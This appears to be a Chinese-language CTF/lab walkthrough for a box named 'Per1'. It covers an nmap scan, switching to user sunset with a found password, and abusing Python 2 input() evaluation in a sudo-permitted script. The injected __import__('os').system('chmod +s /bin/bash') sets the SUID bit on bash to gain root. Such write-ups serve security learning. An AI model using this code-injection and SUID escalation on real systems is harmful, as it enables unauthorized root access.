sudo nmap -p- 192.168.0.107 Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-10 00:31 CST Nmap scan report for 192.168.0.107 Host is up (0.0013s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: E6:F4:83:79:2E:CF (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds
www-data@Per1:/opt$ su sunset su sunset Password: dylan4
sunset@Per1:/opt$
sudo -l,发现sunset用户可以执行一个python文件:
1 2 3 4 5 6
Matching Defaults entries for sunset on Per1: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sunset may run the following commands on Per1: (ALL) NOPASSWD: /usr/bin/python /usr/bin/guess_game.py
看一下guess_game.py的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
import random
defguess_game(): ans = random.randint(0, 65535) print"Welcome to the guess game!" print"I've chosen a number between 0 and 65535." try: user_input = input("Your guess: ") except Exception as e: print"Error:", e return
if user_input == ans: print"Congratulations! You guessed it." else: print"Wrong! The correct number was", ans
Welcome to the guess game! I've chosen a number between 0 and 65535. Your guess: asd asd Error: name 'asd' is not defined
我输入了“asd”,他说” ‘asd’ is not defined”,这里用脚后跟想都绝对有问题,他没有把我的输入当成纯字符串处理,而是当成一个python代码来看。
那根据源码,他要比较我输入的东西和 ans 是否相等,那我就输入ans看一下:
1 2 3 4 5
Welcome to the guess game! I've chosen a number between 0 and 65535. Your guess: ans ans Congratulations! You guessed it.
果然,他说我猜对了,那就说明这里应该可以进行命令执行。
引入os,执行系统命令:
1 2 3 4 5 6 7
sudo /usr/bin/python /usr/bin/guess_game.py
Welcome to the guess game! I've chosen a number between 0 and 65535. Your guess: __import__('os').system('chmod +s /bin/bash') __import__('os').system('chmod +s /bin/bash') Wrong! The correct number was 39444